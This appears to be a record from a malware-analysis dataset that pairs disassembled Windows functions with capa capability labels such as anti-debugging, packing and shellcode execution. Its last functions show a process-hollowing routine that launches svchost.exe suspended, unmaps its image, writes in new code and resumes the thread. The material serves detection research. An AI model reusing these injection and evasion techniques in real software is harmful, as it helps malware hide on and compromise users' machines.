joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002dc72
Capabilities:
Execute anti-debugging instructions

Disassembly:
test eax, eax
call fcn.1003daf9
xchg dl, ch
not dl
xchg dword [esp + 0x20], eax
mov byte [esp], 0x1e
cdq
mov ecx, dword [ebp + 0x28]
pushfd
not al
push dword [esp]
mov dword [esp + 0x24], ecx
cdq
not dh
mov edx, dword [ebp + 0x24]
not ax
push 0xe54b4659
mov dword [esp + 0x24], edx
movsx edx, dl
lea ecx, [esi + 0x3021c75b]
mov eax, dword [ebp + 0x20]
movsx edx, al
setg cl
xchg dword [esp + 0x20], eax
sete dl
setl al
mov ecx, dword [ebp + 0x1c]
lea esp, [esp + 0x20]
jnp 0x1002d619
xchg al, dh
push ecx
movzx cx, cl
not cl
mov edx, dword [ebp + 0x18]
jmp 0x100315f1
call fcn.10038c8d
jmp 0x100243a4
lahf
push edx
not al
sets al
not eax
cwde
mov eax, dword [ebp + 0x14]
bswap edx
push eax
call fcn.10039d14
jmp 0x1003e605
clc
pushal
mov dword [ebp - 0x434], eax
test ch, 0x97
cmc
cmc
cmp dword [ebp - 0x434], 0xffffffff
pushfd
push 0xbfcc3732
push dword [esp]
lea esp, [esp + 0x2c]
jae 0x1002dc6d
je 0x10037ff7
push 0x28c9f6b1
pushfd
mov dword [esp + 4], 0
pushfd
push dword [esp]
mov dword [esp + 8], 0
pushfd
pushfd
movzx edx, bl
movsx edx, dl
mov dword [esp + 0xc], 0
pop edx
mov dword [esp + 4], 4
movsx dx, dl
pushal
mov dword [esp + 0x20], 0
movsx dx, cl
mov edx, dword [ebp - 0x434]
call fcn.10027aa6

Function at 0x1002dca3
Capabilities:
Execute syscall

Disassembly:
pushal
push 0x18e01f38
lea esp, [esp + 0x28]
call fcn.10009d5c
push edi
lea edx, [esp + 4]
mov word [esp], 0xfce8
pushfd
lea esp, [esp + 8]
sysenter
pushal
push edx
mov dword [esp], edx
push dword [esp + 0x24]
ret 0x28

Function at 0x1002e8b5
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0x40], eax
pushfd
lea esp, [esp + 0x44]
call fcn.100014c0
setp ch
rol cl, cl
shr dl, 1
add esp, 4
lea edx, [esi - 0x61769f28]
cdq
movzx ecx, byte [ebp + 0x14]
bswap dx
mov ah, 0x66
rdtsc
push ecx
push esp
rdtsc
call fcn.10040b46

Function at 0x1002eb78
Capabilities:
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
cmp sp, di
shr ch, 7
mov ecx, dword [eax + 4]
rdtsc
das
adc al, dl
aas
xchg dword [esp + 4], ecx
adc cx, dx
adc ax, si
jmp 0x10032bdf

Function at 0x1002f0cb
Capabilities:
Packed with generic packer

Disassembly:
mov word [esp + 0xc], 0x4de4
lea esp, [esp + 0x44]
jne 0x1002b4d4
Function at 0x1002fc47
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebx
lea esp, [esp + 0x2c]
call fcn.10009d5c
sal bh, 4
cmp ch, cl
stc
push ebp
xchg di, ax
lea eax, [0x10008287]
shld bx, cx, 0xa
btc cx, 5
push eax
clc
cmp bp, bx
test bx, 0x43a5
push 0x437b6c6a
lea eax, [0x100080e0]
shl bh, 7
lea edi, [eax + 0x7c62ac23]
rcl bl, cl
mov dword [esp], eax
stc
rcl di, cl
push dword fs:[0]
stc
rol esi, 0x12
xor ebx, edi
rcl ch, 6
mov dword fs:[0], esp
inc di
shld di, bx, 2
mov edi, dword [ebp + 0xc]
sal si, cl
bsf cx, di
mov ecx, 0xffffffff
cmp edx, esi
not bx
inc bl
sub al, al
std
bswap esi
lea esi, [ebp + 0x64be281e]
cld
or si, bp
repne scasb al, byte es:[edi]
pushal
or ecx, 0xc17eb767
setle cl
bsf bx, dx
mov ecx, edi
sar si, cl
sub ecx, dword [ebp + 0xc]
jmp 0x100375e2
sal si, 0xb
rcl di, cl
bsr si, bx
mov dword [ebp - 8], ecx
rol cl, 3
sbb bh, 0x2c
mov edi, dword [esp]
cmc
mov esi, dword [ebp + 8]
shl bx, 9
not bx
shl bl, 3
add esi, dword [esi + 0x3c]
bsr bx, ax
shl cx, 1
mov esi, dword [esi + 0x78]
sub bx, 0x9fb
ror bx, cl
add esi, dword [ebp + 8]
lea ebx, [ebx - 0x43e3b915]
mov ebx, dword [esi + 0x20]
ror ch, 7
lea ecx, [ebp*2 - 0x56f77749]
setno ch
cmc
add ebx, dword [ebp + 8]
sub ecx, ebx
shr di, 8
test bl, bl
or ch, 0xa8
sub edx, edx
btr ecx, edi
xchg dword [esp + 0x1c], esi
bts cx, 0xf
movsx esi, cl
push 0x5a6b617b
mov edi, dword [ebx]
setp cl
add edi, dword [ebp + 8]
cmc
pushal
mov esi, dword [ebp + 0xc]
shrd ecx, edi, cl
test bh, ah
mov ecx, dword [ebp - 8]
pushfd
mov byte [esp + 4], 0xa5
pushfd
push ecx
repe cmpsb byte [esi], byte es:[edi]
pushfd
lea esp, [esp + 0x50]
jne 0x10006131
not si
pop esi
pushfd
push dword [esp]
push ecx
lea esp, [esp + 0xc]
jmp 0x10036e42

Function at 0x10030269
Capabilities:
Packed with generic packer

Disassembly:
mov byte [esp], cl
pushfd
mov byte [esp + 4], 0x87
push dword [ebp + 0x18]
pop dword [esp + 4]
pushfd
mov dword [esp + 4], eax
call fcn.10036975
call fcn.10025605

Function at 0x1003026e
Capabilities:
Packed with generic packer

Disassembly:
push esi
jmp loc.10030e67
lea esp, [esp + 0xc]
popal
jmp 0x10030a2c
lea eax, [esi - 0x746e55db]
mov eax, dword [ebp - 4]
jbe 0x10006a91
pushal
lea esp, [esp + 0x20]
call fcn.10009d62
pushfd
pushal
pushfd
lea esp, [esp + 0x28]
jmp loc.10001372

Function at 0x100319d6
Capabilities:
Packed with generic packer

Disassembly:
lea esp, [esp + 0x54]
call sub.KERNEL32.dll_VirtualProtectEx
or cx, 0x951
mov dword [ebp - 4], 1
cdq
xchg cl, dl
cmp ecx, 0xd43e91f9
xchg ebx, edi
pop dword fs:[0]
stc
adc al, 0xd9
dec di
add esp, 0xc
mov ah, 0x45
lahf
popal
call fcn.1002864b
Function at 0x10033062
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0x20]
call fcn.10005600
shrd dx, si, 0xf
bts eax, 1
lea ecx, [edx - 0x124a4599]
add esp, 0xc
aaa
mov dx, dx
mov ecx, dword [ebp + 0x10]
clc
add ecx, dword [ebp - 0x24]
bt edx, 0xe
rdtsc
rdtsc
mov byte [ecx], 0xe9
pushfd
daa
rol dh, cl
bt di, 9
mov edx, dword [ebp + 0xc]
cwde
movsx cx, cl
sub cx, 0xb13b
mov word [esp], 0x6c04
add edx, dword [ebp - 0x24]
cmp ah, bl
bsr eax, eax
stc
stc
mov eax, dword [ebp + 0x10]
btr cx, si
call fcn.1003a34d
pushfd
mov dword [esp], 0x10020578
push esp
mov dword [esp], 0
jmp 0x1003c7f0
pushfd
pushal
jmp 0x100403f5
mov dword [esp + 0x20], 0x1f0003
pushal
pushfd
push 0xfd637b0e
mov dword [esp + 0x44], 0x1002419d
mov dword [esp + 8], 0x492af052
mov dword [esp], edx
call fcn.10001477

Function at 0x10033dc4
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 4], bh
lea esp, [esp + 0x28]
je 0x1002a015
lea ecx, [edi - 0x1642e24]
jmp loc.100012a3

Function at 0x100364c3
Capabilities:
Packed with generic packer

Disassembly:
mov dword [esp + 0x18], esi
lea esp, [esp + 0x50]
call sub.KERNEL32.dll_WriteProcessMemory
aaa
xor al, 0x8d
pushfd
shld ax, bp, 0xe
mov eax, dword [ebp - 4]
sub esp, 0xfffffffc
jp 0x10039459
add eax, 5
push 0x7245948
mov dword [esp], 0
call fcn.1003024f
cmp di, 0x3a2b
add eax, 5
call fcn.10032c0b

Function at 0x10036a25
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea esp, [esp + 0xc]
jne 0x1003dce1
mov dl, dl
pushfd
jmp loc.1000967e
push 0x6b90a56f
push dword [esp]
nop
pushal
mov dword [esp], 0x696f8bfe
pushfd
lea esp, [esp + 0x2c]
jmp loc.1000668e

Function at 0x10036f83
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [ebp - 0x448], eax
neg dl
daa
and ah, ah
rdtsc
mov ecx, dword [ebp - 0x448]
cmc
shl ecx, 1
movsx eax, al
movzx ax, al
rdtsc
push 0x70642616
mov word [ebp - 0x218], cx
pushfd
lea edx, [esp + 0x18c4ddda]
call fcn.1003e266
lea esp, [esp + 0x10]
jne 0x1002e3b3
ror eax, 0xd
or ecx, edx
bt bx, dx
aas
mov eax, dword [ebp - 0x43c]
rcr dh, cl
stc
bswap dx
btc dx, sp
sub eax, dword [ebp - 0x440]
bsr cx, si
sar eax, 1
add dh, 0xba
cmp sp, cx
sub dh, 0xdd
jmp 0x100236b9

Function at 0x10038dbd
Capabilities:
Execute anti-debugging instructions

Disassembly:
add esp, 0x10
pushfd
push esi
test eax, eax
push esi
lea esp, [esp + 0xc]
je 0x10039657
call fcn.10036d6e

Function at 0x1003ba92
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp], ch
jmp 0x1002eeba
lea esp, [esp + 0x48]
jne 0x1002fffb
xadd ch, dh
mov ecx, dword [ebp - 0x224]
call fcn.10040f63
jmp 0x10041670
bswap dx
mov dword [esp + 0x1c], 0
pop edx
mov edx, dword [ebp - 0x434]
jmp 0x100415a3
cmp word [ebp - 0x22a], 0
jmp 0x1002d4f8
push dword [esp]
mov dword [esp + 0x18], edx
mov byte [esp], 0xf1
mov byte [esp], bh
mov dword [esp + 0x14], 0x1002a54c
pushfd
push esi
mov byte [esp + 4], bh
push dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
pop dword [esp + 0x18]
mov word [esp + 4], si
pushal
mov word [esp], 0x2e93
pushfd
push dword [esp + 0x3c]
ret 0x40
push 0
not edx
push 0
bswap edx
push 4
pushal
jmp 0x1003159e
Function at 0x1003bc6c
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov edx, dword [ebp + 0x10]
pushfd
jmp 0x10028368

Function at 0x1003c010
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.100373f1
push 0x7c957ac
mov dword [esp + 4], eax
pop ecx
mov ecx, dword [ebp + 0x14]
jl 0x100305a5
rdtsc
push ecx
setle dh
rdtsc
mov edx, dword [ebp + 0x10]
push ebx
mov dword [esp], edx
lahf
push 0x586d4875
jmp 0x1002690e
pushfd
jmp fcn.10033e68
lea esp, [esp + 0x30]
je 0x1002ef59
sets ch
mov ecx, dword [ebp + 0x20]
pushfd
pushfd
xchg dword [esp + 4], ecx
rdtsc
mov edx, dword [ebp + 0x1c]
movzx eax, bl
movzx ecx, bl
xchg dword [esp], edx
rdtsc
not ah
setae dl
setne ah
mov eax, dword [ebp + 0x18]
push 0xbdc696f0
lea ecx, [ebx*8 + 0x709a716d]
jmp 0x1002b8d0

Function at 0x1003c80d
Capabilities:
Execute anti-debugging instructions

Disassembly:
call fcn.1002942d
cwde
cdq
not dl
mov edx, dword [ebp + 0x14]
pushfd
pushfd
mov dword [ecx + 0x10], edx
movzx ax, al
mov eax, dword [ebp - 0xc]
movzx dx, cl
mov ecx, dword [ebp + 8]
pop edx
setnp dl
setp dh
call fcn.10005ad6

Function at 0x1003d0f0
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushal
mov dword [esp + 0x40], eax
mov byte [esp + 8], 0x47
pushfd
lea esp, [esp + 0x44]
js 0x10034e93
push 0xf55b2caf
lea esp, [esp + 4]
call fcn.100014c0
xor cl, 0x43
xchg dx, cx
btc ecx, ebp
add esp, 4
rdtsc
rdtsc
mov ecx, dword [ebp + 0x20]
push ebp
xchg dword [esp], ecx
jmp 0x1003d9bb
mov ah, dl
movzx dx, cl
mov edx, dword [ebp - 8]
movzx eax, dl
movzx ax, cl
movzx ax, cl
pushfd
mov dword [esp], edx
lea eax, [eax - 0x6e7976b]
lea eax, [ecx*2 - 0x1440837a]
lahf
mov eax, dword [ebp + 0x10]
call fcn.10036e9f
pushfd
jmp 0x10038039
mov edx, dword [ecx + 8]
lahf
mov eax, dword [edx + 4]
jmp 0x10038dad
call fcn.10036ddc
mov word [esp + 0xc], 0x97c4
lea esp, [esp + 0x14]
je 0x1003f284
lahf
jmp 0x1002ea97
jmp 0x10028fcb
test eax, eax
jmp 0x1003f094
lea esp, [esp + 4]
call fcn.10005b70
pushfd
pushal
pushal
test ax, 0xbacb
add esp, 0x4c
jmp 0x1003b15c
je 0x10028ffa
setnp ch
pushal
cwde
mov dword [ebp - 4], 1
push dword [esp]
bswap dx
mov byte [esp + 4], dl
mov ecx, dword [ebp + 0x10]
jmp 0x10037ba6

Function at 0x1003d1c2
Capabilities:
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
call fcn.1003abf6
bt edx, 0x16
cmp eax, dword [0x1001c038]
mov byte [esp + 8], 0x6c
push dword [esp]
jmp 0x100356e8
Function at 0x1003d569
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 0x28], ecx
pushfd
mov byte [esp], 0x29
lea esp, [esp + 0x2c]
call fcn.100014c0
dec dl
btc ax, 8
add esp, 4
movsx dx, cl
xchg ah, dl
pushal
movzx edx, byte [ebp + 0x18]
pushfd
cwde
movzx cx, cl
xchg dword [esp + 0x20], edx
lahf
pushfd
cwde
movsx ax, dl
mov eax, dword [ebp + 0x14]
lea ecx, [0xdb3c0555]
mov dword [esp + 0x20], eax
pushal
mov ecx, dword [ebp + 0x10]
pushfd
rdtsc
push dword [esp]
mov dword [esp + 0x44], ecx
call fcn.10001403
mov ecx, dword [ebp + 0x10]
mov word [esp], si
pushal
mov dword [esp + 0x20], ecx
push 0x53619e60
pushfd
push dword [esp + 0xc]
mov byte [esp + 8], bh
lea esp, [esp + 0x2c]
call fcn.10005b70
pushfd
add esp, 0xc
test ah, 0x22
bt ax, bx
test eax, eax
pushfd
push dword [esp]
mov byte [esp], bl
pushal
lea esp, [esp + 0x28]
je 0x100280ba
rdtsc
bswap ecx
cdq
bswap ecx
mov dword [ebp - 4], 1
movsx cx, bl
lahf
movsx dx, al
push 0x3389625f
mov edx, dword [ebp + 0x10]
pushfd
movzx ax, cl
lahf
setns ch
mov eax, dword [edx + 8]
push dword [esp + 4]
pushal
mov ecx, dword [eax + 4]
mov byte [esp], 0xf6
jmp 0x1002809e

Function at 0x1003e39d
Capabilities:
Execute anti-debugging instructions

Disassembly:
pushfd
mov dword [esp + 0x28], eax
mov word [esp], bx
mov byte [esp + 0x1c], ch
jmp 0x10028d5a
lea esp, [esp + 0x28]
call fcn.10009fea
aad 0xe9
bsf eax, edi
add ecx, esi
add esp, 0x10
jno 0x10028ee5
rcr cx, 0xd
mov ecx, 0x208
stc
jne 0x10034bd6
lahf
mov word [ebp - 0x216], cx
ror dl, cl
lea edx, [ebp - 0x210]
shld cx, cx, 2
add cl, dh
aad 0xee
mov dword [ebp - 0x214], edx
daa
lea eax, [ebp - 0x210]
jmp 0x10037a77
call fcn.10031b5e
mov dword [ebp - 0x224], eax
xadd ax, dx
btr cx, cx
push 0x31aa9a3b
pushal
mov ecx, dword [ebp - 0x224]
bswap ax
cwd
xor al, al
ror dx, cl
add ecx, 2
aas
not dh
mov dword [ebp - 0x228], ecx
lea esp, [esp + 0x24]
lea eax, [ebp - 0x210]
dec dl
mov dword [ebp - 0x224], eax
or dh, 0xc4
xor edx, 0xcf28fa5a
sub dh, 0x45
mov ecx, dword [ebp - 0x224]
bt di, 0xb
rol al, 4
cmc
shrd dx, sp, cl
add ecx, 2
cbw
mov dword [ebp - 0x228], ecx
aas
shr ah, cl
adc al, ah
movsx ax, dl
mov edx, dword [ebp - 0x224]
or al, ch
shr ah, cl
ror ah, cl
mov ax, word [edx]
bt bx, 0xf
cmc
clc
pushfd
mov word [ebp - 0x22a], ax
test bh, 1
add dword [ebp - 0x224], 2
push dword [esp]
cmc
call fcn.1003ba92
pushal
stc
cwde
shl dh, 3
mov word [ebp - 0x216], cx
cmc
lea edx, [ebp - 0x210]
pop eax
bsf ecx, ecx
mov dword [ebp - 0x214], edx
pushal
aaa
not ah
jmp 0x10032c89
bswap dx
jmp 0x1002ffc7
jmp 0x100264ed

Function at 0x1003f773
Capabilities:
Execute anti-debugging instructions
Packed with generic packer

Disassembly:
cdq
mov eax, 0xffffffff
rdtsc
cdq
movzx eax, bl
mov dword [ebp - 4], 0xffffffff
cdq
lea ecx, [edi*4 + 0x1a30b135]
cwde
popal
jmp loc.100083b8
dec ecx
push eax
lea esp, [esp + 0x50]
je 0x100417b7
cmc
popfd
pushal
push ebp
lea esp, [esp + 0x24]
jmp 0x1003d877
clc
bt si, ax
popfd
pushal
pushfd
lea esp, [esp + 0x24]
jmp 0x1003ebbf
Function at 0x1003fe37
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
mov byte [esp + 8], ch
jmp 0x10041efd
pushfd
push dword [ebp - 0xc]
pop dword [esp + 0x3c]
pushfd
jmp 0x1003a1da

Function at 0x10040aed
Capabilities:
Execute anti-debugging instructions

Disassembly:
cmp word [ebp - 0x22a], 0
push dword [esp]
lea esp, [esp + 0x2c]
jne 0x1002fffb
setb ah
mov ecx, dword [ebp - 0x224]
clc
aas
aaa
shl dl, cl
sub ecx, dword [ebp - 0x228]
add dh, cl
rdtsc
aad 0x8f
rcl al, cl
sar ecx, 1
rcl dl, 1
cdq
mov dword [ebp - 0x230], ecx
sub dh, 0xcc
cmp dh, ah
inc cl
cmp esp, ecx
mov edx, dword [ebp - 0x230]
adc al, 0x17
shl edx, 1
push 0xebfe8819
mov word [ebp - 0x218], dx
not ax
not ax
mov word [esp], 0xe71b
mov word [esp], bx
mov dword [esp], 1
cdq
rdtsc
not dx
mov eax, dword [ebp + 0x10]
not ecx
pushal
mov ecx, dword [eax + 8]
mov dl, bl
pushal
mov dword [esp + 0x3c], ecx
pushfd
lea edx, [ebp - 0x218]
jmp loc.100071e8
cmp word [ebp - 0x22a], 0
pushfd
lea esp, [esp + 0x40]
jne 0x1002fffb
jmp 0x10027038
sub al, bl
inc ax
aad 0xc9
mov edx, dword [ebp - 0x224]
aaa
not al
test dh, dh
test si, 0x2449
mov ax, word [edx]
push 0x24d8fe8a
pushfd
mov word [ebp - 0x22a], ax
cmp dh, 0x8e
add dword [ebp - 0x224], 2
mov byte [esp + 4], ah
pushal
jmp 0x10025f6f
jmp 0x1002bb9c

Function at 0x1004199a
Capabilities:
Execute anti-debugging instructions

Disassembly:
lea edx, [ecx - 0x46488b84]
rdtsc
add ecx, dword [ebp - 0x74]
rol dl, cl
bsr dx, bp
adc dh, dh
bts edx, 0x18
movzx edx, byte [ecx]
shl al, 6
dec ch
pop ecx
rol ah, 6
or edx, 2
lahf
mov eax, dword [ebp - 0x84]
adc cl, ah
clc
add eax, dword [ebp - 0x74]
bts cx, si
sbb cx, cx
bsr cx, si
pushfd
mov byte [eax], dl
add esp, 4
and cl, ch
cmp eax, eax
cmp dl, 0x25
shld cx, cx, cl
mov ecx, dword [ebp - 0xb8]
cmc
pushal
pushal
and ecx, 0x80000000
pushfd
push edx
pushfd
mov byte [esp + 8], 0x94
lea esp, [esp + 0x4c]
je 0x1003b187
rdtsc
mov edx, dword [ebp - 0x84]
neg al
stc
add edx, dword [ebp - 0x74]
jmp 0x1003139f
Function at 0x401350
Capabilities:
Create process on windows
Create process suspended

Disassembly:
sub esp, 0x60
push edi
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x24]
mov dword [esp + 0x20], 0
rep stosd dword es:[edi], eax
mov edi, dword [esp + 0x68]
lea eax, [esp + 0x20]
push edi
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push str.c:windows_system32_svchost.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40141b
push ebx
push ebp
push esi
mov esi, dword [esp + 0x78]
push esi
mov dword [esi], 0x10007
mov ecx, dword [edi + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [esi + 0xa4]
mov ebp, dword [esp + 0x7c]
mov ecx, dword [edi]
lea edx, [esp + 0x74]
push edx
push 4
add eax, 8
push ebp
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebp]
mov eax, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea edx, [esp + 0x10]
push 0x1c
push edx
push esi
push eax
call ebx
test eax, eax
je 0x401406
cmp dword [esp + 0x20], 0x10000
je 0x401406
mov ecx, dword [esp + 0x1c]
mov edx, dword [edi]
add esi, ecx
lea ecx, [esp + 0x10]
push 0x1c
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x4013e5
mov eax, dword [ebp]
sub esi, eax
mov eax, 1
mov dword [ebp + 4], esi
pop esi
pop ebp
pop ebx
pop edi
add esp, 0x60
ret
xor eax, eax
pop edi
add esp, 0x60
ret
Function at 0x401460
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
sub esp, 0x2ec
lea eax, [esp + 0x14]
lea ecx, [esp + 0x20]
lea edx, [esp + 4]
push ebx
push ebp
push esi
push edi
push eax
push ecx
push edx
call fcn.00401350
add esp, 0xc
test eax, eax
je 0x40163e
mov ebp, dword [esp + 0x308]
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, dword [esp + 0x314]
mov ecx, dword [ebp + 0x1c]
mov dword [esp + 0x10], 0
cmp ecx, eax
jne 0x4014d2
mov ecx, dword [esp + 0x28]
cmp ebx, ecx
ja 0x4014d2
lea edx, [esp + 0x2c]
mov dword [esp + 0x10], eax
push edx
push 0x40
push ecx
push eax
mov eax, dword [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x401510
push str.ZwUnmapViewOfSection
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x14]
push ecx
push edx
call eax
test eax, eax
jne 0x401510
mov eax, dword [ebp + 0x1c]
mov ecx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push eax
push ecx
call esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov edi, dword [esp + 0x310]
test eax, eax
jne 0x401578
push ebp
call fcn.00401430
add esp, 4
test eax, eax
je 0x40156c
mov edx, dword [esp + 0x14]
push 0x40
push 0x3000
push ebx
push 0
push edx
call esi
test eax, eax
mov dword [esp + 0x10], eax
je 0x401631
mov ecx, dword [esp + 0x304]
mov edx, dword [esp + 0x300]
push eax
mov eax, dword [esp + 0x310]
push edi
push eax
push ebp
push ecx
push edx
call fcn.004012d0
add esp, 0x18
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401631
mov edx, dword [esp + 0xd4]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [esp + 0x2c]
lea ecx, [esp + 0x10]
push eax
mov eax, dword [esp + 0x18]
push 4
add edx, 8
push ecx
push edx
push eax
call esi
mov ecx, dword [esp + 0x300]
mov eax, dword [esp + 0x10]
push 0
push ebx
mov edx, dword [ecx + 0x3c]
push edi
mov dword [edx + edi + 0x34], eax
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x20]
push ecx
push edx
call esi
test eax, eax
je 0x401619
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x24]
cmp eax, ecx
mov dword [esp + 0x30], 0x10007
jne 0x4015e7
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x1c]
add eax, ecx
mov dword [esp + 0xe0], eax
jmp 0x4015f3
mov ecx, dword [ebp + 0x10]
add ecx, eax
mov dword [esp + 0xe0], ecx
mov eax, dword [esp + 0x18]
lea edx, [esp + 0x30]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov edx, dword [esp + 0x14]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
mov eax, dword [esp + 0x14]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ec
ret
Function at 0x401650
Capabilities:
Allocate or change rwx memory

Disassembly:
sub esp, 0x23c
lea eax, [esp + 0x13c]
push ebx
push esi
push edi
push 0x100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov esi, dword [esp + 0x24c]
lea ecx, [esp + 0x148]
push esi
push ecx
call fcn.0040e4b0
add esp, 8
test eax, eax
je 0x4017b7
test esi, esi
je 0x4017a2
mov ecx, 0x20
xor eax, eax
mov edi, str.c:windows_system32_svchost.exe
push 0x415d20
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea eax, [esp + 0x14c]
mov edx, ecx
mov esi, edi
mov edi, str.c:windows_system32_svchost.exe
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0040a690
mov esi, eax
add esp, 8
test esi, esi
je 0x4017b7
lea ecx, [esp + 0xc]
lea edx, [esp + 0x68]
push ecx
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x30]
push eax
push ecx
push esi
call fcn.00401000
add esp, 0x14
test al, al
je 0x40178d
mov edx, dword [esp + 0xc]
lea eax, [esp + 0x68]
push edx
lea ecx, [esp + 0x14]
push eax
lea edx, [esp + 0x30]
push ecx
push edx
call fcn.00401140
add esp, 0x10
mov ebx, eax
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je 0x40178d
mov eax, dword [esp + 0xc]
push edi
lea ecx, [esp + 0x6c]
push eax
lea edx, [esp + 0x18]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
push esi
call fcn.004011d0
mov ecx, dword [esp + 0x24]
push ebx
push edi
lea edx, [esp + 0x88]
push ecx
lea eax, [esp + 0x34]
push edx
lea ecx, [esp + 0x50]
push eax
push ecx
call fcn.00401460
push esi
call fcn.0040a61a
add esp, 0x34
mov eax, 1
pop edi
pop esi
pop ebx
add esp, 0x23c
ret
push esi
call fcn.0040a61a
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x23c
ret
lea edx, [esp + 0x148]
push str.c:windows_system32_svchost.exe
push edx
call fcn.0040e4b0
add esp, 8
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x23c
ret